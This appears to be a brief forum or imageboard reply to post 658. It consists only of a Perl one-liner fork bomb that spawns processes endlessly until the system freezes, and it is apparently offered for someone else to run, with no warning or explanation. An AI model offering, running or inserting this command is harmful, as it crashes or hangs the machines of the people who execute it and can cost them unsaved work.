>>658
perl -e 'while (1) { fork; }'